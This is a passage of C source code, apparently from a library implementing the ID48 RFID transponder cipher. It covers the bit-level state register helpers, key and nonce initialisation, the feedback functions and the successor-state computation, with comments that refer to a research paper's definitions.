static inline void set_single_ssr_bit ( ID48LIBX_STATE_REGISTERS* ssr, size_t bit_index) { ASSERT(ssr != nullptr); ASSERT(bit_index < (sizeof(uint64_t) * 8)); ssr->Raw |= ((uint64_t)(1ull << bit_index)); }
static inline void clear_single_ssr_bit ( ID48LIBX_STATE_REGISTERS* ssr, size_t bit_index) { ASSERT(ssr != nullptr); ASSERT(bit_index < (sizeof(uint64_t) * 8)); ssr->Raw &= ~((uint64_t)(1ull << bit_index)); }
static inline void flip_single_ssr_bit ( ID48LIBX_STATE_REGISTERS* ssr, size_t bit_index) { ASSERT(ssr != nullptr); ASSERT(bit_index < (sizeof(uint64_t) * 8)); ssr->Raw ^= ((uint64_t)(1ull << bit_index)); }
static inline void assign_single_ssr_bit ( ID48LIBX_STATE_REGISTERS* ssr, size_t bit_index, bool value) {
ASSERT(ssr != nullptr);
ASSERT(bit_index < (sizeof(uint64_t) * 8));
if (value) {
set_single_ssr_bit(ssr, bit_index);
}
else {
clear_single_ssr_bit(ssr, bit_index);
}
}
#pragma endregion // single bit test/set/clear/flip/assign
#pragma region // test/assign of temporaries a/b/c/i/j
static inline void test_temporary_a(ID48LIBX_STATE_REGISTERS* ssr) { ASSERT(!is_ssr_state_stable(ssr)); test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_a); }
static inline void test_temporary_b(ID48LIBX_STATE_REGISTERS* ssr) { ASSERT(!is_ssr_state_stable(ssr)); test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_b); }
static inline void test_temporary_c(ID48LIBX_STATE_REGISTERS* ssr) { ASSERT(!is_ssr_state_stable(ssr)); test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_c); }
static inline void test_temporary_i(ID48LIBX_STATE_REGISTERS* ssr) { ASSERT(!is_ssr_state_stable(ssr)); test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_i); }
static inline void test_temporary_j(ID48LIBX_STATE_REGISTERS* ssr) { ASSERT(!is_ssr_state_stable(ssr)); test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_j); }
static inline void assign_temporary_a(ID48LIBX_STATE_REGISTERS* ssr, bool v) { ASSERT(!is_ssr_state_stable(ssr)); assign_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_a, v); }
static inline void assign_temporary_b(ID48LIBX_STATE_REGISTERS* ssr, bool v) { ASSERT(!is_ssr_state_stable(ssr)); assign_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_b, v); }
static inline void assign_temporary_c(ID48LIBX_STATE_REGISTERS* ssr, bool v) { ASSERT(!is_ssr_state_stable(ssr)); assign_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_c, v); }
static inline void assign_temporary_i(ID48LIBX_STATE_REGISTERS* ssr, bool v) { ASSERT(!is_ssr_state_stable(ssr)); assign_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_i, v); }
static inline void assign_temporary_j(ID48LIBX_STATE_REGISTERS* ssr, bool v) { ASSERT(!is_ssr_state_stable(ssr)); assign_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_j, v); }
#pragma endregion // test/assign of temporaries a/b/c/i/j
#pragma region // Mask & Macro to get registers (in minimal bit form)
// ------------------------> 60 56 52 48 44 40 36 32 28 24 20 16 12 8 4 0
// | | | | | | | | | | | | | | | |
#define SSR_BITMASK_REG_H (0x000000000001FFF0ull) // (0b0000'0000'0000'0000'0000'0000'0000'0000'0000'0000'0000'0001'1111'1111'1111'0000ull)
#define SSR_BITMASK_REG_G (0x000000FFFFFE0000ull) // (0b0000'0000'0000'0000'0000'0000'1111'1111'1111'1111'1111'1110'0000'0000'0000'0000ull)
#define SSR_BITMASK_REG_L (0x00007F0000000000ull) // (0b0000'0000'0000'0000'0111'1111'0000'0000'0000'0000'0000'0000'0000'0000'0000'0000ull)
#define SSR_BITMASK_REG_M (0x003F100000000000ull) // (0b0000'0000'0011'1111'1000'0000'0000'0000'0000'0000'0000'0000'0000'0000'0000'0000ull)
#define SSR_BITMASK_REG_R (0x1FC0000000000000ull) // (0b0001'1111'1100'0000'0000'0000'0000'0000'0000'0000'0000'0000'0000'0000'0000'0000ull)
#define SSR_BITMASK_REG_ALL (0x1FFFFFFFFFFFFFF0ull) // (0b0001'1111'1111'1111'1111'1111'1111'1111'1111'1111'1111'1111'1111'1111'1111'0000ull)
// | | | | | | | | | | | | | | | |
// ------------------------> 60 56 52 48 44 40 36 32 28 24 20 16 12 8 4 0
#define SSR_BITMASK_WITHOUT_REG_H (~(SSR_BITMASK_REG_H))
#define SSR_BITMASK_WITHOUT_REG_G (~(SSR_BITMASK_REG_G))
#define SSR_BITMASK_WITHOUT_REG_L (~(SSR_BITMASK_REG_L))
#define SSR_BITMASK_WITHOUT_REG_M (~(SSR_BITMASK_REG_M))
#define SSR_BITMASK_WITHOUT_REG_R (~(SSR_BITMASK_REG_R))
#define SSR_BITMASK_WITHOUT_ANY_REGS (~(SSR_BITMASK_REG_ALL))
#define SSR_SHIFT_COUNT_REG_H ( 4)
#define SSR_SHIFT_COUNT_REG_G (17)
#define SSR_SHIFT_COUNT_REG_L (40)
#define SSR_SHIFT_COUNT_REG_M (47)
#define SSR_SHIFT_COUNT_REG_R (54)
#define SSR_VALUE_MASK_REG_H (0x001FFFu) // 13 bits
#define SSR_VALUE_MASK_REG_G (0x7FFFFFu) // 23 bits
#define SSR_VALUE_MASK_REG_L (0x00007Fu) // 7 bits
#define SSR_VALUE_MASK_REG_M (0x00007Fu) // 7 bits
#define SSR_VALUE_MASK_REG_R (0x00007Fu) // 7 bits
static inline uint16_t get_register_h(const ID48LIBX_STATE_REGISTERS* ssr) { return ((uint16_t)(ssr->Raw >> SSR_SHIFT_COUNT_REG_H)) & (SSR_VALUE_MASK_REG_H); }
static inline uint32_t get_register_g(const ID48LIBX_STATE_REGISTERS* ssr) { return ((uint32_t)(ssr->Raw >> SSR_SHIFT_COUNT_REG_G)) & (SSR_VALUE_MASK_REG_G); }
static inline uint8_t get_register_l(const ID48LIBX_STATE_REGISTERS* ssr) { return ((uint8_t )(ssr->Raw >> SSR_SHIFT_COUNT_REG_L)) & (SSR_VALUE_MASK_REG_L); }
static inline uint8_t get_register_m(const ID48LIBX_STATE_REGISTERS* ssr) { return ((uint8_t )(ssr->Raw >> SSR_SHIFT_COUNT_REG_M)) & (SSR_VALUE_MASK_REG_M); }
static inline uint8_t get_register_r(const ID48LIBX_STATE_REGISTERS* ssr) { return ((uint8_t )(ssr->Raw >> SSR_SHIFT_COUNT_REG_R)) & (SSR_VALUE_MASK_REG_R); }
static inline void set_register_h(ID48LIBX_STATE_REGISTERS* ssr, uint16_t v) { ASSERT((v & SSR_VALUE_MASK_REG_H) == v); ssr->Raw = (ssr->Raw & SSR_BITMASK_WITHOUT_REG_H) | (((uint64_t)(v & SSR_VALUE_MASK_REG_H)) << SSR_SHIFT_COUNT_REG_H); }
static inline void set_register_g(ID48LIBX_STATE_REGISTERS* ssr, uint32_t v) { ASSERT((v & SSR_VALUE_MASK_REG_G) == v); ssr->Raw = (ssr->Raw & SSR_BITMASK_WITHOUT_REG_G) | (((uint64_t)(v & SSR_VALUE_MASK_REG_G)) << SSR_SHIFT_COUNT_REG_G); }
static inline void set_register_l(ID48LIBX_STATE_REGISTERS* ssr, uint8_t v) { ASSERT((v & SSR_VALUE_MASK_REG_L) == v); ssr->Raw = (ssr->Raw & SSR_BITMASK_WITHOUT_REG_L) | (((uint64_t)(v & SSR_VALUE_MASK_REG_L)) << SSR_SHIFT_COUNT_REG_L); }
static inline void set_register_m(ID48LIBX_STATE_REGISTERS* ssr, uint8_t v) { ASSERT((v & SSR_VALUE_MASK_REG_M) == v); ssr->Raw = (ssr->Raw & SSR_BITMASK_WITHOUT_REG_M) | (((uint64_t)(v & SSR_VALUE_MASK_REG_M)) << SSR_SHIFT_COUNT_REG_M); }
static inline void set_register_r(ID48LIBX_STATE_REGISTERS* ssr, uint8_t v) { ASSERT((v & SSR_VALUE_MASK_REG_R) == v); ssr->Raw = (ssr->Raw & SSR_BITMASK_WITHOUT_REG_R) | (((uint64_t)(v & SSR_VALUE_MASK_REG_R)) << SSR_SHIFT_COUNT_REG_R); }
#pragma endregion // Mask & Macro to get registers (in minimal bit form)
/// <summary>
/// Calculates and returns 56-bit value p₅₅..p₀₀
/// per Definition 3.11:
/// p = p₀₀..p₅₅ = ( K₄₀..K₉₅ ) + ( N₀₀..N₅₅ )
/// </summary>
/// <param name="k96">key in pm3 order</param>
/// <param name="n56">nonce in pm3 order</param>
/// <returns>56-bit value p₅₅..p₀₀</returns>
static inline uint64_t calculate__p55_p00(const ID48LIB_KEY* k96, const ID48LIB_NONCE* n56) {
// messy ... have to reverse the bits AND shift them into position,
// perform the addition, and then reverse bits again to return to
// native bit order (subscript is same as bit position).
//
// 1. for each byte, reverse bit order and shift into 64-bit tmp
// 2. add the two 56-bit tmp values
// 3. keeping only low 56-bit bits... reverse the bits
ASSERT(k96 != nullptr);
ASSERT(n56 != nullptr);
uint64_t k40_k95 = 0;
uint64_t n00_n55 = 0;
//
// k [ 6] :== K₄₇..K₄₀
// ...
// k [ 0] :== K₉₅..K₈₈
//
// rn[ 6] :== N₀₇..N₀₀
// ...
// rn[ 0] :== N₅₅..N₄₈
//
for (int8_t i = 6; i >= 0; --i) {
k40_k95 <<= 8;
n00_n55 <<= 8;
uint8_t t1 = reverse_bits_08(k96->k[i]);
k40_k95 |= t1;
uint8_t t2 = reverse_bits_08(n56->rn[i]);
n00_n55 |= t2;
}
uint64_t result = k40_k95 + n00_n55;
// shift so msb == p₀₀ (p₀₀..p₅₅0⁸)
result <<= 8;
// reverse the 64-bit value to get: 0⁸p₅₅..p₀₀
result = reverse_bits_64(result);
return result;
}
/// <summary>
/// Calculate and return q₄₃..q₀₀
/// per Definition 3.11:
/// bitstream_q = (p₀₂ ... p₄₅) ⊕ (p₀₈ ... p₅₁) ⊕ (p₁₂ ... p₅₅)
/// <-- 44b --> <-- 44b --> <-- 44b -->
/// q43_q00 = (p₄₅ ... p₀₂) ⊕ (p₅₁ ... p₀₈) ⊕ (p₅₅ ... p₁₂)
/// </summary>
/// <param name="p55_p00">56 bit value: p₅₅..p₀₀</param>
/// <returns>44-bit value: q₄₃..q₀₀</returns>
static inline uint64_t calculate__q43_q00(const uint64_t* p55_p00) {
ASSERT(p55_p00 != nullptr);
static const uint64_t C_BITMASK44 = (1ull << 44) - 1u;
uint64_t result = (*p55_p00 >> 2);
result ^= (*p55_p00 >> 8);
result ^= (*p55_p00 >> 12);
result &= C_BITMASK44;
return result;
}
/// <summary>
/// Relies on old g22 bit (now in L00).
/// May modify G00, G03, G04, G05, G06, G13, G16
/// </summary>
static inline void g_successor(ID48LIBX_STATE_REGISTERS* ssr) {
ASSERT(ssr != nullptr);
ASSERT(!is_ssr_state_stable(ssr));
assign_single_ssr_bit(ssr, SSR_BIT_G00, test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_j));
//alternatively: set to zero, because `j` includes the start bit state
//if (test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_j)) {
// flip_single_ssr_bit(ssr, SSR_BIT_G00);
//}
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_G22)) {
// taps ==> [ n, 16, 13, 6, 5, 3, 0 ]
// 0b000'0001'0010'0000'0110'1001 == 0x012069
static const uint64_t G22_XOR_MASK = 0x0000000240D20000ull;
// static assert is only available in C11 (or C++11) and later...
// _Static_assert(G22_XOR_MASK == (0x012069ull << SSR_SHIFT_COUNT_REG_G), "G22 XOR Mask invalid");
ssr->Raw ^= G22_XOR_MASK;
}
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_i)) {
flip_single_ssr_bit(ssr, SSR_BIT_G04);
}
}
static inline ID48LIBX_STATE_REGISTERS init_id48libx_state_register(const ID48LIB_KEY* k96, const ID48LIB_NONCE* n56) {
ASSERT(k96 != nullptr);
ASSERT(n56 != nullptr);
ID48LIBX_STATE_REGISTERS result; result.Raw = 0;
ID48LIBX_STATE_REGISTERS* const ssr = &result; // the pointer is constant ... not the value it points to
const uint64_t p55_p00 = calculate__p55_p00(k96, n56);
// p55_p00 is used to set initial value of register l
if (true) {
static const uint8_t C_BITMASK7 = ((1u << 7) - 1u);
const uint8_t l = (
((uint8_t)(p55_p00 >> 55)) ^ // 0 0 0 0 0 0 p55
((uint8_t)(p55_p00 >> 51)) ^ // 0 0 p55 p54 p53 p52 p51
((uint8_t)(p55_p00 >> 45)) // p51 p50 p49 p48 p47 p46 p45
) & C_BITMASK7;
set_register_l(ssr, l);
ASSERT(l == get_register_l(ssr));
}
// p is used to calculate q
const uint64_t q43_q00 = calculate__q43_q00(&p55_p00);
// init( q₂₀..q₄₂, q₀₀..q₁₉ )
// ===> G(q₂₀..q₄₂, 0, q₀₀..q₁₉)
// ===> g₀₀..g₂₂ :=== q₂₀..q₄₂
// and j₀₀..j₁₉ :=== q₀₀..q₁₉
//
// But, since I'm storing the register with g₀₀ as lsb:
// ===> g₂₂..g₀₀ :=== q₄₂..q₂₀
if (true) {
static const uint32_t C_BITMASK23 = ((1u << 23) - 1u);
const uint32_t g = ((uint32_t)(q43_q00 >> 20)) & C_BITMASK23;
set_register_g(ssr, g);
ASSERT(g == get_register_g(ssr));
}
// input bits for `j` during init are q00..q19, with q19 used first
// For ease of use, I'll generate this as q00..q19, so the loop
// can test the lsb (and then shift it right one bit)
uint32_t q00_q19 = reverse_bits_32( ((uint32_t)q43_q00) << 12 );
uint32_t q_lsb_next = q00_q19;
ssr->Raw |= 1u;
// G(g,0,j) twenty times, using q19, q18, ... q00 for `j`
for (uint8_t ix = 0; ix < 20; ++ix)
{
ASSERT(is_ssr_state_stable(ssr));
ssr->Raw <<= 1; // starts the process ... it's now an unstable value
ASSERT(!is_ssr_state_stable(ssr));
assign_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_j, (q_lsb_next & 1u) != 0);
assign_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_i, 0);
q_lsb_next >>= 1;
g_successor(ssr);
// save only the register bits
ssr->Raw &= SSR_BITMASK_REG_ALL;
// mark this as a stable value
ssr->Raw |= 1u;
}
// h00..h12 is defined as 0 p00..p11
// but since we're storing h as h12..h00: p11..p00 0
if (true) {
// NOTE: delay `h` until loops done, else low bits
// will shift into / break calculation of g() above
static const uint16_t C_BITMASK_H_INIT = (1u << 13) - 2u; // 0b1'1111'1111'1110
const uint16_t h = (((uint16_t)p55_p00) << 1) & C_BITMASK_H_INIT;
set_register_h(ssr, h);
ASSERT(h == get_register_h(ssr));
}
return result;
}
/// <summary>
/// H(h) matches the research paper, definition 3.3
///
/// Reads bits H01, H08, H09, H11, H12.
/// </summary>
/// <remarks>
/// If ssr is in unstable state, caller is responsible for ensuring
/// the values have not changed.
/// </remarks>
static inline bool calculate_feedback_h(const ID48LIBX_STATE_REGISTERS* ssr) {
ASSERT(ssr != nullptr);
// ( h₀₁ && h₀₈ ) || ( h₀₉ && h₁₁ ) || (!h₁₂ )
// \____ a1 ____/ \____ a2 ____/ \____ a3 ____/
// result == xor(a1,a2,a3)
bool a1 = is_ssr_state_stable(ssr) ?
test_single_ssr_bit(ssr, SSR_BIT_H01) && test_single_ssr_bit(ssr, SSR_BIT_H08) :
test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_H01) && test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_H08);
bool a2 = is_ssr_state_stable(ssr) ?
test_single_ssr_bit(ssr, SSR_BIT_H09) && test_single_ssr_bit(ssr, SSR_BIT_H11) :
test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_H09) && test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_H11);
bool a3 = is_ssr_state_stable(ssr) ?
!test_single_ssr_bit(ssr, SSR_BIT_H12) :
!test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_H12);
bool result = false;
if (a1) result = !result;
if (a2) result = !result;
if (a3) result = !result;
return result;
}
/// <summary>
/// fₗ(...) matches the research paper, definition 3.4
/// hard-coded to use bits for calculation of 'a'
/// </summary>
static inline bool calculate_feedback_l(const ID48LIBX_STATE_REGISTERS* ssr) {
ASSERT(ssr != nullptr);
// a = fₗ( g00 g04 g06 g13 g18 h03 ) ⊕ g22 ⊕ r02 ⊕ r06
// fₗ( x₀ x₁ x₂ x₃ x₄ x₅ )
bool x0 = test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_G00 : SSR_UNSTABLE_OLD_BIT_G00);
bool x1 = test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_G04 : SSR_UNSTABLE_OLD_BIT_G04);
bool x2 = test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_G06 : SSR_UNSTABLE_OLD_BIT_G06);
bool x3 = test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_G13 : SSR_UNSTABLE_OLD_BIT_G13);
bool x4 = test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_G18 : SSR_UNSTABLE_OLD_BIT_G18);
bool x5 = test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_H03 : SSR_UNSTABLE_OLD_BIT_H03);
bool line1 = !x0 && !x2 && x3;
bool line2 = x2 && x4 && !x5;
bool line3 = x0 && !x1 && !x4;
bool line4 = x1 && !x3 && x5;
bool result = line1 || line2 || line3 || line4;
return result;
}
/// <summary>
/// fₘ(...) matches the research paper, definition 3.5
/// hard-coded to use bits for calculation of 'b'
/// </summary>
static inline bool calculate_feedback_m(const ID48LIBX_STATE_REGISTERS* ssr) {
ASSERT(ssr != nullptr);
// b = fₘ( g01 g05 g10 g15 h00 h07 ) ⊕ l00 ⊕ l03 ⊕ l06
// fₘ( x₀ x₁ x₂ x₃ x₄ x₅ )
bool x0 = test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_G01 : SSR_UNSTABLE_OLD_BIT_G01);
bool x1 = test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_G05 : SSR_UNSTABLE_OLD_BIT_G05);
bool x2 = test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_G10 : SSR_UNSTABLE_OLD_BIT_G10);
bool x3 = test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_G15 : SSR_UNSTABLE_OLD_BIT_G15);
bool x4 = test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_H00 : SSR_UNSTABLE_OLD_BIT_H00);
bool x5 = test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_H07 : SSR_UNSTABLE_OLD_BIT_H07);
bool line1 = x1 && !x2 && !x4;
bool line2 = x0 && x2 && !x3;
bool line3 = !x1 && x3 && x5;
bool line4 = !x0 && x4 && !x5;
bool result = line1 || line2 || line3 || line4;
return result;
}
/// <summary>
/// fᵣ(...) matches the research paper, definition 3.6
/// hard-coded to use bits for calculation of 'c'
/// </summary>
static inline bool calculate_feedback_r(const ID48LIBX_STATE_REGISTERS* ssr) {
ASSERT(ssr != nullptr);
ASSERT(!is_ssr_state_stable(ssr));
// c = fᵣ( g02 g03⊕i g09 g14 g16 h01 ) ⊕ m00 ⊕ m03 ⊕ m06
// fᵣ( x₀ x₁ x₂ x₃ x₄ x₅ )
bool x0 = test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_G02);
bool x1 = test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_G03);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_i)) { x1 = !x1; }
bool x2 = test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_G09);
bool x3 = test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_G14);
bool x4 = test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_G16);
bool x5 = test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_H01);
bool line1 = x1 && x3 && !x5;
bool line2 = x2 && !x3 && !x4;
bool line3 = !x0 && !x2 && x5;
bool line4 = x0 && !x1 && x4;
bool result = line1 || line2 || line3 || line4;
return result;
}
/// <summary>
/// Matches the research paper, definition 3.7
/// See also Definition 3.2, defining that parameter as `j`.
/// </summary>
static inline bool calculate_j(const ID48LIBX_STATE_REGISTERS* ssr) {
ASSERT(ssr != nullptr);
// g := G(g, i, l₀₁ ⊕ m₀₆ ⊕ h₀₂ ⊕ h₀₈ ⊕ h₁₂)
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^------ calculates `j`
bool result = 0;
if (test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_L01 : SSR_UNSTABLE_OLD_BIT_L01)) result = !result;
if (test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_M06 : SSR_UNSTABLE_OLD_BIT_M06)) result = !result;
if (test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_H02 : SSR_UNSTABLE_OLD_BIT_H02)) result = !result;
if (test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_H08 : SSR_UNSTABLE_OLD_BIT_H08)) result = !result;
if (test_single_ssr_bit(ssr, is_ssr_state_stable(ssr) ? SSR_BIT_H12 : SSR_UNSTABLE_OLD_BIT_H12)) result = !result;
return result;
}
/// <summary>
/// REQUIRES INPUT BIT `i` TO BE VALID.
/// Calculates a, b, c, j and new value for H₀₀.
/// These are the only bits changed by this function.
/// </summary>
static inline void calculate_temporaries(ID48LIBX_STATE_REGISTERS* ssr) {
ASSERT(ssr != nullptr);
#pragma region // to be removed after all is validated
static const uint64_t bits_must_remain_same_mask =
~(
(1ull << SSR_UNSTABLE_BIT_a) |
(1ull << SSR_UNSTABLE_BIT_b) |
(1ull << SSR_UNSTABLE_BIT_c) |
(1ull << SSR_UNSTABLE_BIT_j) |
(1ull << SSR_UNSTABLE_NEW_BIT_H00)
);
const uint64_t backup = ssr->Raw & bits_must_remain_same_mask;
#pragma endregion // to be removed after all is validated
// Only bits that change value: H00, a, b, c, j
ASSERT(!is_ssr_state_stable(ssr)); // assigning temp values directly in ssr, so...
assign_single_ssr_bit(ssr, SSR_UNSTABLE_NEW_BIT_H00, calculate_feedback_h(ssr));
assign_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_a, calculate_feedback_l(ssr));
assign_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_b, calculate_feedback_m(ssr));
assign_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_c, calculate_feedback_r(ssr));
assign_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_j, calculate_j(ssr));
// NOTE: Could scramble the below nine lines into any order desired.
// If start by setting the outputs all to zero, could also scramble the above into this mix
//
// a = fₗ() ⊕ g22 ⊕ r02 ⊕ r06
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_G22)) flip_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_a);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_R02)) flip_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_a);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_R06)) flip_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_a);
// b = fₘ() ⊕ l00 ⊕ l03 ⊕ l06
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_L00)) flip_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_b);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_L03)) flip_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_b);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_L06)) flip_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_b);
// c = fᵣ() ⊕ m00 ⊕ m03 ⊕ m06
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_M00)) flip_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_c);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_M03)) flip_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_c);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_M06)) flip_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_c);
#pragma region // to be removed after all is validated
const uint64_t chk = ssr->Raw & bits_must_remain_same_mask;
ASSERT(chk == backup);
#pragma endregion // to be removed after all is validated
return;
}
static inline OUTPUT_INDEX2 calculate_output_index(const ID48LIBX_STATE_REGISTERS* ssr) {
// Fₒ( abc l₀l₂l₃l₄l₅l₆ m₀m₁m₃m₅ r₀r₁r₂r₃r₄r₅r₆ )
// msb 19 ---^ lsb 00 ---^^
ASSERT(ssr != nullptr);
ASSERT(!is_ssr_state_stable(ssr));
OUTPUT_INDEX2 result; result.Raw = 0;
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_a )) result.Raw |= (1u << 19);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_b )) result.Raw |= (1u << 18);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_c )) result.Raw |= (1u << 17);
//bool bit17 = test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_c);
//if (test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_i) ) bit17 = !bit17;
//if (bit17 ) result.Raw |= (1u << 17);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_L00)) result.Raw |= (1u << 16);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_L02)) result.Raw |= (1u << 15);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_L03)) result.Raw |= (1u << 14);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_L04)) result.Raw |= (1u << 13);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_L05)) result.Raw |= (1u << 12);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_L06)) result.Raw |= (1u << 11);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_M00)) result.Raw |= (1u << 10);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_M01)) result.Raw |= (1u << 9);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_M03)) result.Raw |= (1u << 8);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_M05)) result.Raw |= (1u << 7);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_R00)) result.Raw |= (1u << 6);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_R01)) result.Raw |= (1u << 5);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_R02)) result.Raw |= (1u << 4);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_R03)) result.Raw |= (1u << 3);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_R04)) result.Raw |= (1u << 2);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_R05)) result.Raw |= (1u << 1);
if (test_single_ssr_bit(ssr, SSR_UNSTABLE_OLD_BIT_R06)) result.Raw |= (1u << 0);
return result;
}
// returns a single bit corresponding to the output bit for this transition
static inline bool calculate_successor_state(ID48LIBX_STATE_REGISTERS* ssr, bool i) {
ASSERT(ssr != nullptr);
ASSERT(is_ssr_state_stable(ssr));
// HACK -- ORDER OF THESE OPERATIONS MATTERS ...
// to avoid overwriting bits needed for calculation of temporaries
// Thus:
// 1. ssr_new = ssr_old << 1; // all prior values still available (even r₀₆)
// 2. store input bit `i` // required many places
// 3. calculate and store a/b/c/j h'00 // can use SSR_UNSTABLE_OLD_BIT_... to get old values
// 4. calculate and save output index // relies on a/b/c AND the bits that get modified using a/b/c,
// // so must be after calculate a/b/c and before setting new L00,M00,R00 values
// 5. G(g, i, j) // relies on SSR_UNSTABLE_OLD_BIT_G22, which is now L00 ... aka must do before L()
// 6. L() // overwrite L00 with `a`
// 7. M() // overwrite M00 with `b`
// 8. R() // overwrite R00 with `c`
//
// 1. ssr_new = ssr_old << 1;
ssr->Raw <<= 1; // begin!
// 2. store input bit `i`
assign_temporary_i(ssr, i);
// 3. calculate and store a/b/c/j and new H00 bits
calculate_temporaries(ssr); // updates new H00, stores a/c/c and j
// 4. calculate and save output index
OUTPUT_INDEX2 output_index = calculate_output_index(ssr); // note: does *NOT* rely on new H00 value
bool output_result = id48libx_output_lookup(output_index.Raw);
// 5. g --> g', aka G(g, i, j)
g_successor(ssr);
// 6. l --> l'
assign_single_ssr_bit(ssr, SSR_BIT_L00, test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_a));
// 7. m --> m'
assign_single_ssr_bit(ssr, SSR_BIT_M00, test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_b));
// 8. r --> r'
assign_single_ssr_bit(ssr, SSR_BIT_R00, test_single_ssr_bit(ssr, SSR_UNSTABLE_BIT_c));
// Done! Clear temporaries and indicate this is a final state
// Keep only the registers (no temporaries)
ssr->Raw &= SSR_BITMASK_REG_ALL;
// Mark as stable view of the SSR
ssr->Raw |= 1u;
return output_result;
}
/// <summary>
/// Returns a value where the least significant bit is the
/// first input bit, so that the value can be right-shifted
/// by one bit each iteration (allowing least significant bit
/// to always be the input bit).
/// </summary>
static inline INPUT_BITS2 get_key_input_bits(const ID48LIB_KEY* k) {
ASSERT(k != nullptr);
// Per research paper, key bit 39 is used first.
// So, what should end up in result is: 0²⁴ k₀₀..K₃₉
